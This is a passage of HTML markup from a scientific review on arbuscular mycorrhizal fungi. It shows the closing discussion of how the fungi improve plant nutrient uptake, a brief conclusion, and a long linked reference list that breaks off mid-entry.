directly or indirectly on plants [80]. One of the positive effects of AMF is due to the presence of the external mycelium, which plays an important role in the absorption of slow diffusion nutrients, such as phosphor and potassium [81-83], increasing the nutritional content of plants [84,85]. Associated with this, modifications promoted by AMF in xylem structure, as increase in number and diameter of metaxylem and secondary xylem cells, promote increased absorption of nutrients, such as nitrogen, phosphor and potassium, translocated to the upper of the plant, culminating with the acceleration of growth [82].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Increased absorption and transport volume of nutrients, such as nitrogen, which is a constituent of proteins [86], phosphor [87], which is essential for cell division and the metabolism of photosynthesis, and potassium, which acts on the electric equilibrium of the cells and in the opening and closing of the stomata [86], it is vital for vegetative growth. This contributes to higher responses of the inoculated plants in terms of vegetative development.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Final Considerations</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Although the understanding of the mechanisms involved in signaling and in the establishment of mycorrhizal symbiosis needs further clarification, in recent years several researchers have shed light on this area. The elucidation of events associated with signaling and with the processes of formation of the structures of colonization of the AMF and of the responses of plants to these processes, as well as of the changes promoted in the morphology of the tissues of the plants root and the acquisition of nutrients, are considered to be fundamental for the good understanding of the benefits generated by the AMF to the colonized plants.</span></p>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/B9780124735422500018\">Marschner H (1995) Mineral nutrition of higher plants. (2<sup>nd</sup> edition). San Diego: Academic Press.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.scielo.br/scielo.php?pid=S0102-33062005000100018&amp;script=sci_abstract&amp;tlng=pt\">Silva LMS, Alquini Y, Cavallet VJ (2005) Inter-rela&ccedil;&otilde;es entre a anatomia vegetal e a produ&ccedil;&atilde;o vegetal. Acta Botanica Brasilica19: 183-194.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.scielo.br/scielo.php?pid=S0100-204X2002000400013&amp;script=sci_abstract&amp;tlng=pt\">Bressan W, Vasconcellos CA (2002) Altera&ccedil;&otilde;es morfol&oacute;gicas no sistema radicular do milho induzidas por fungos micorr&iacute;zicos e f&oacute;sforo. Pesquisa Agropecu&aacute;ria Brasileira 37: 509-517.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://library.ciat.cgiar.org/cgi-bin/koha/opac-detail.pl?biblionumber=65643\">Alves de Brito CJFA, Rodella RA (2001) Breve hist&oacute;rico das rela&ccedil;&otilde;es entre anatomia vegetal e qualidade de gram&iacute;neas forrageiras com &ecirc;nfase para o g&ecirc;nero <em>Brachiaria</em>. Revista de Agricultura 76: 19-36.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://journals.sagepub.com/doi/pdf/10.5367/000000000101293059\">Dodd JC (2000) The role of arbuscular mycorrizal fungi in agro -and natural ecosystems. Outlook on Agriculture 29: 55-62.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\">Wilcox HE, Mycorrhizae, Waisel Y, Eshel A, Kafkafi U, et al. (1996) In: Plant&rsquo;s roots 731-765.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\">Sylvia DM, Chellemi DO (2002) Interations among root-inhabiting fungi and their implications for biological control of root pathogens. Advances in Agronomy 73: 1-33.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.jstor.org/stable/3761615?seq=1#page_scan_tab_contents\">Morton JB, Redecker D (2001) Two new families of Glomales, <em>Archeosporaceae</em> and <em>Paraglomaceae</em>, with two new genera <em>Archaeospora</em> and <em>Paraglomus</em>, based on conrcordant molecular and morphological characters. Mycologia 93: 181-195.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.mykoweb.com/systematics/literature/Endogonaceae.pdf\">Gerdemann JW, Trappe JM (1974) <em>Endogonaceae</em> in the Pacific Northwest. Mycologia Memoir 5: 1-76.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.researchgate.net/publication/312985973_Taxonomic_concepts_in_the_Endogonaceae_Spore-wall_characteristics_in_species_descriptions\">Walker C (1983) Taxonomic concepts in the <em>Endogonaceae</em>: spore wall characteristics in species descriptions. Mycotaxon 18: 443-455.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.researchgate.net/publication/290126258_Taxonomic_concepts_in_the_Endogonaceae_II_A_fifth_morphological_wall_type_in_endogonaceous_spores\">Walker C (1986) Taxonomic concepts in the <em>Endogonaceae</em>: II. A fifth morphological wall type in Endogonaceous spores. Mycotaxon 25: 95-97.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://agris.fao.org/agris-search/search.do?recordID=US201301404283\">Morton JB (1988) Taxonomy of VA Mycorrhizal fungi: classification, nomenclature and identification. Mycotaxon 3: 267-324.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.jstor.org/stable/3759848?seq=1#page_scan_tab_contents\">Morton JB (1990) Evolutionary relationships among arbuscular mycorrhizal fungi in the <em>Endogonaceae</em>. Mycologia 82: 192-207.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.cabdirect.org/cabdirect/abstract/19912307931\">Morton JB, Benny GL (1990) Revised classification of arbuscular mycorrhizal fungi (Zygomycetes): a new order, Glomales, two new suborders, <em>Glomineae</em> and <em>Gigasporineae</em>, and two new families, <em>Acaulosporaceae</em> and <em>Gigasporaceae,</em> with an emendation of <em>Glomaceae</em>. Mycotaxon 37: 471-491.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.jstor.org/stable/3761174?seq=1#page_scan_tab_contents\">Sturmer SL, Mortom JB (1997) Developmental patterns defining morphological characters in spores of four species of <em>Glomus</em>. Mycologia 89: 72-81.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://europepmc.org/abstract/MED/16713732\">Schenck NC, Daniels BA, Skipper HA (1982) Methods and principles of mycorrhizal research. St. Paul American Phytopathological Society 2: 29-35.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.worldcat.org/title/manual-for-the-identification-of-va-mycorrhizal-fungi/oclc/24677253\">Schenck NC, P&eacute;rez Y (1990) Manual for the identification of VA Mycorrhizal fungi. 3th edn. Gainesville: Synergistic Publications.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.plantphysiol.org/content/133/1/16\">Smith SE, Smith FA, Jakobsen I (2003) Mycorrhizal fungi can dominate phosphate supply to plants irrespective of growth responses. Plant Physiology 133: 16-20</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/14965952\">Berta G, Trotta A, Fusconi A, Hooker JE, Munro M, et al. &nbsp;(1995) Arbuscular mycorrhizal induced changes to plant growth and root system morphology in Prunus cerasifera. Tree Physiology 15: 281-293.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.scielo.br/scielo.php?pid=S0103-84782000000200009&amp;script=sci_abstract\">Souza PVD, Agust&iacute; M, Abad M, Almela V (2000) Desenvolvimento vegetativo e morfologia radiculara de Citrange Carrizo afetado por &aacute;cido indolbut&iacute;rico e micorrizas arbusculares. Ci&ecirc;ncia Rural 30: 249 -255</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\">Cooper KM. Powel CL, Bagyaraj J (1984) Physiology of VA Mycorrhizae associations. Editors. In VA Mycorrhiza. Boca Raton CRC. 155-186.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;<a href=\"https://link.springer.com/article/10.1007/BF02257524\">Norman JR, Atkinson D, Hooker JE (1996) Arbuscular mycorrhizal-fungal-induced alteration to root architecture in strawberry and induced resistance to the pathogenPhytophthora fragariae. Plant and Soil 185: 191-198.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://nph.onlinelibrary.wiley.com/doi/abs/10.1111/j.1469-8137.1990.tb04718.x\">Kothari SK, Maschner H, George E (1990) Effect of VA mycorrhizal fungi and rhi1.zosphere microorganisms on root and shoot morphology, growth and water-relations in maize. New Phytologist 116: 303-31</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;<a href=\"http://europepmc.org/abstract/MED/16713732\">Paszkowski U (2006) Mutualism and parasitism: the yin and yang of plant symbioses. Current Opinions in Plant Biology 9: 364-370</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/12873525\">Panstruga R (2003) Establishing compatibility between plants and obligate biotrophic pathogens. Current Opinions in Plant Biology 6: 320-326</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/12953114\">Liu J, Blaylock LA, Endre G, Cho J, Town CD, et al. (2003) Transcript profiling coupled with spatial expression analyses reveals genes involved in distinct developmental stages of an arbuscular mycorrhizal symbiosis. The Plant Cell 15: 2106-2123.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16153162\">Harrison MJ (2005) Signaling in the arbuscular mycorrhizal symbiosis. Annual Review of Microbiology 59: 19-42.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15871030\">Hause B, Fester T (2005) Molecular and cell biology of arbuscular mycorrhizal symbiosis. Planta 221: 184-196.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16945087\">Paszkowski U (2006) A journey through signaling in arbuscular mycorrhizal symbioses. New Phytologist 172: 35-46.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/S0007153656800338\">Mosse B (1959) The regular germination of resting spores and some observations on the growth requirements of an Endogone sp. Causing vesicular-arbuscular mycorrhiza. Transactions of the British Mycological Society<em> </em>42: 273-286.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/S0007153681801568\">Koske RE (1981) Multiple germination by spores of <em>Gigaspora gigantea</em>. Transactions of the British Mycological Society 76: 328-330.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/11080273\">Bago B, Pfeffer PE, Shachar-Hill Y (2000) Carbon metabolism and transport in arbuscular mycorrhizas. Plant Physiology 124: 949-958.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://link.springer.com/article/10.1007%2Fs005720050224\">Giovanetti M, Sbrana C (1998) Meeting a non-host: the behaviour of AM fungi. Mycorrhiza 8: 123-130.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ingentaconnect.com/content/cndscipub/cjb/2004/00000082/00000008/art00016\">B&eacute;card G, Kosuta S, Tamasloukht M, S&eacute;jalon-Delmas N, Roux C (2004) Partner communication in the arbuscular mycorrhizal interaction. Canadian Journal of Botany 82: 1186-1197.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://apsjournals.apsnet.org/doi/10.1094/MPMI.2000.13.6.693\">Buee M, Rossignol M, Jauneau A, Ranjeva R, Becard G (2000) The pre-symbiotic growth of arbuscular mycorrhizal fungi is induced by a branching factor partially purified from plant root exudates. Molecular Plant-Microbe Interactions 13: 693-698.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/S1369526603000657\">Bouwmeester HJ, Matusova R, Zhongkui S, Beale MH (2003) Secondary metabolite signalling in host-parasitic plant interactions. Current Opinions in Plant Biology 6: 358-364.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/17587670\">Akiyama K (2007) Chemical identification and functional analysis of apocarotenoids involved in the development of arbuscular mycorrhizal symbiosis. Biosciences, Biotechnology, Biochimestry 71: 1405-1414.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/12644696\">Tamasloukht M, Sejalon-Delmas N, Kluever A, Jauneau A, Roux C, et al. (2003) Root factors induce mitochondrial-related gene expression and fungal respiration during the developmental switch from asymbiosis to presymbiosis in the arbuscular mycorrhizal fungus Gigaspora rosea. Plant Physiology 131: 1468-1478.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16078883\">Glazebrook J (2005) Contrasting mechanisms of defense against biotrophic and necrotrophic pathogens. Annual Review of Phytopathology 43:205-227.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15597744\">Weidmann S, Sanchez L, Descombin J, Chatagnier O, Gianinazzi S, et al. (2004) Fungal elicitation of signal transductionrelated plant genes precedes mycorrhiza establishment and requires the dmi3<em> </em>gene in <em>Medicago</em><em> </em><em>truncatula</em>. Molecular Plant-Microbe Interactions 17: 1385-1393.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/12644648\">Kosuta S, Chabaud M, Lougnon G, Gough C, Denarie J, et al. (2003) A diffusible factor from arbuscular mycorrhizal fungi induces symbiosis-specific MtENOD11 expression in roots of <em>Medicago truncatula</em>. Plant Physiology 131: 952-962.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.jstor.org/stable/1514018?seq=1#page_scan_tab_contents\">Chabaud M, Venard C, Defaux-Petras A, Becard G, Barker DG (2002) Targeted inoculation of <em>Medicago truncatula</em><em> </em><em>in vitro</em> root cultures reveals MtENOD11 expression during early stages of infection by arbuscular mycorrhizal fungi. New Phytologist 156: 265-273.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16284314\">Genre A, Chabaud M, Timmers T, Bonfante P, Barker DG (2005) Arbuscular mycorrhizal fungi elicit a novel intracellular apparatus in <em>Medicago truncatula</em><em> </em>root epidermal cells before infection. The Plant Cell 17: 3489-3499.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15231264\">Parniske M (2004) Molecular genetics of the arbuscular mycorrhizal symbiosis. Current Opinion in Plant Biology 7: 414-421.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/11386369\">Journet EP, El-Gachtouli N, Vernoud, V De Billy F, Pichon M, et al. (2001) <em>Medicago truncatula</em> ENOD11: a novel RPRP-encoding early nodulin gene expressed during mycorrhization in arbuscule-containing cells. Molecular Plant-Microbe Interactions 14: 737-748.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.scielo.br/scielo.php?script=sci_arttext&amp;pid=S0103-90162006000400013\">Lambais MR (2006) unraveling the signaling and signal transduction mechanisms controlling arbuscular mycorrhiza development. Scientia Agricola&nbsp; 63: 405-413</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16212600\">Ol&aacute;rh B, Bri&eacute;rez C, B&eacute;cardz G, D&eacute;nari&eacute; J, Gough C (2005) Nod factors and a diffusible factor from arbuscular mycorrhizal fungi stimulate lateral root formation in <em>Medicago truncatula</em> via the DMI1/DMI2 signalling pathway. The Plant Journal 44: 195-207</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/11006338\">Catoira R, Galera C, De Billy F, Penmetsa RV, Journet EP, et al. (2000) Four genes of <em>Medicago </em><em>truncatula</em> controlling components of a nod factor transduction pathway. The Plant Cell 12: 1647-1666</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://nph.onlinelibrary.wiley.com/doi/abs/10.1046/j.1469-8137.1998.00259.x\">Lambais MR, Mehdy MC (1998) Spatial distribution of chitinases and &beta;-1,3-glucanase transcripts in bean arbuscular mycorrhizal roots under low and high soil phosphate conditions. New Phytologist 140: 33 - 42</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.plantcell.org/content/8/10/1871\">Gianinazzi-Pearson V (1996) Plant cell responses to arbuscular mycorrhiza fungi: Getting to the roots of the symbiosis. The Plant Cell 8: 1871-1883</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://nph.onlinelibrary.wiley.com/doi/abs/10.1111/j.1469-8137.1993.tb04537.x\">Giovanetti M, Avio L, Sbrana C, Citernesi A (1993) Factors affecting appressoria development in the vesicular-arbuscular mycorrhizal fungus <em>Glomus mosseae</em> (Nicol. &amp; Gerd.) Gerd. and Trappe. New Phytologist 123: 115-122</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15219563\">Breuninger M, Requena N (2004) Recognition events in AM symbiosis: analysis of fungal gene expression at the early appressorium stage. Fungal Genetics Biology 41: 794-804</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.jstor.org/stable/2588506?seq=1#page_scan_tab_contents\">Lingua G, Sgorbati S, Citterio A, Fusconi A, Trotta A, et al. (1999) Arbuscular mycorrhizal colonization delays nucleus senescence in leek root cortical cells. New Phytologist 141: 161 -169</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/28521260https:/www.sciencedirect.com/science/journal/13695266/38/supp/C\">Harrison MJ, Ivanov S (2017) Exocytosis for Endosymbiosis: membrane trafficking pathways for development of symbiotic membrane compartments. Current Opinion in Plant Biology 38: 101-108.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://europepmc.org/abstract/MED/10439213\">Genre A, Bonfante P (1999) Cytoskeleton-related proteins in tobacco mycorrhizal cells: Gamma-Tubulin and clathrin localisation. European Journal of Histochem 43: 105-111.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/10065555\">van Buuren ML, Maldonado-Mendoza IE, Trieu AT, Blaylock LA, Harrison MJ (1999) Novel genes induced during an arbuscular mycorrhizal (AM) symbiosis formed between <em>Medicago truncatula</em><em> </em>and <em>Glomus</em><em> </em><em>versiforme</em>. Molecular Plant-Microbe Interactions 12: 171-181</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1046/j.1365-313x.1998.00315.x\">Blee K, Anderson A (1998) Regulation of arbuscule formation by carbon in the plant. The Plant Journal 16: 523 - 530</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15944706\">Akiyama K, Matsuzaki K, Hayashi H (2005) Plant sesquiterpenes induce hyphal branching in arbuscular mycorrhizal fungi. Nature 435: 824-827</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/27748948\">Guillotin B, Etemadi1 M , Audran C, Bouzayen M, B&eacute;card G, et al. (2017) Sl-IAA27 regulates strigolactone biosynthesis and mycorrhization in tomato (var. MicroTom). New Phytologist 213: 1124-1132</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/10758508\">Walter MH, Fester T, Strack D (2000) Arbuscular mycorrhizal fungi induce the non-mevalonate methylerythritol phosphate pathway of isoprenoid biosynthesis correlated with accumulation of the &lsquo;yellow pigment&rsquo; and other apocarotenoids. The Plant Journal 21: 571-578</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16183851\">Matusova R, Rani K, Verstappen FW, Franssen MC, Beale MH, et al. (2005) The strigolactone germination stimulants of the plant-parasitic Striga and Orobanche spp. are derived from the carotenoid pathway. Plant Physiology 139: 920-934.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15980262\">Kistner C, Winzer T, Pitzschke A, Mulder L, Sato S, et al. (2005) Seven Lotus japonicus<em> </em>genes required for transcriptional reprogramming of the root during fungal and bacterial symbiosis. The Plant Cell 17: 2217-2229.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15778460\">Hohnjec N, Vieweg MF, Puhler A, Becker A, Kuster H (2005) Overlaps in the transcriptional profiles of <em>Medicago truncatula</em><em> </em>roots inoculated with two different <em>Glomus</em><em> </em>fungi provide insights into the genetic program activated during arbuscular mycorrhiza. Plant Physiology 137:1283-1301.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\">Tokeshi H (2000) Doen&ccedil;as e pragas agricolas geradas e multiplicadas pelos agrot&oacute;xicos. Fitopatologia Brasileira 25: 264-270.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\">Nunes JLS, Souza PVD, Marodin GAB (2016) Uso de Fungos micorr&iacute;zicos na forma&ccedil;&atilde;o de mudas de pessegueiro: Produ&ccedil;&atilde;o de mudas de qualidade para estabelecimento em &aacute;reas novas e de replantio. Saarbr&uuml;cken: Novas Edi&ccedil;&otilde;es Acad&ecirc;micas.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\">Costa CG, Callado CH, Coradin VTR, Carmello-Guerreiro SM, Appezzato-Da-Gl&oacute;ria B, et al. (2003) In: Anatomia Vegetal. Editora da Universidade Federal de Vi&ccedil;osa 129-154.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\">Appezzato-Da-Gl&oacute;ria B, Hayashi AH, Raiz Appezzato-Da-Gl&oacute;ria B, Carmello-Guerreiro SM (2003) In: Anatomia Vegetal. Editora da Universidade Federal de Vi&ccedil;osa 267-287.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1046/j.1351-0754.2003.0565.x\">Atkinson D, Blanck KE, Forbes PJ, Hooker JE, Baddeley JA, et al. (2003) The influence of arbuscular mycorrhizal colonization and environment on root development in soil. European Journal of Soil Science 54: 751-757.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1034/j.1399-3054.2000.100109.x\">Kaldorf M, Ludwig-M&uuml;ller J (2000) AM fungi might affect the root morphology of maize by increasing indole-3- butyric acid biosynthesis. Plant Physiology109: 58-67.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.jstor.org/stable/2433244?seq=1#page_scan_tab_contents\">BARROSO J, NEVES HC, PAIS MS (1986) Production of indole-3-ethanol and indole-3-acetic acid by the mycorrhizal fungus of Ophrys lutea<em> </em>(<em>Orchidaceae</em>). The New Phytologist 103: 745-749.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.jstor.org/stable/42948118?seq=1#page_scan_tab_contents\">Hirsch AM, Fang Y, Asad S, Kapulnik Y (1974) The role of phytohormones in plant-microbe symbioses. Plant and soil 194: 171-184.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://link.springer.com/chapter/10.1007/978-3-0348-8504-1_8\">Atkinson D, Berta G, Hooker JE (1994) Impact of mycorrhizal colonization on root archicture, roots longevity and the formation of growth regulators. In: Gianinazzi S, Sch&uuml;epp H (ed.). Impact of Arbuscular Mycorrhizas on Sustainable Agriculture and Natural Ecosystems. Verlag Basel. Pg No: 89-99.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://pennstate.pure.elsevier.com/en/publications/building-roots-in-a-changing-environment-implications-for-root-lo\">Eissenstat DM, Wells CE, Yanai RD, Whitbeck VL (2000) Building roots in a changing environment: implications for root longevity. New Phytologist 147: 33-42.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://eprints.whiterose.ac.uk/5111/\">Hodge A, Robinson D, Fitter AH (2000) An arbuscular mycorrhizal inoculum enhances root proliferation in, but not nitrogen capture from, nutrient-rich patches in soil. New Phytologist145: 575-584.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span 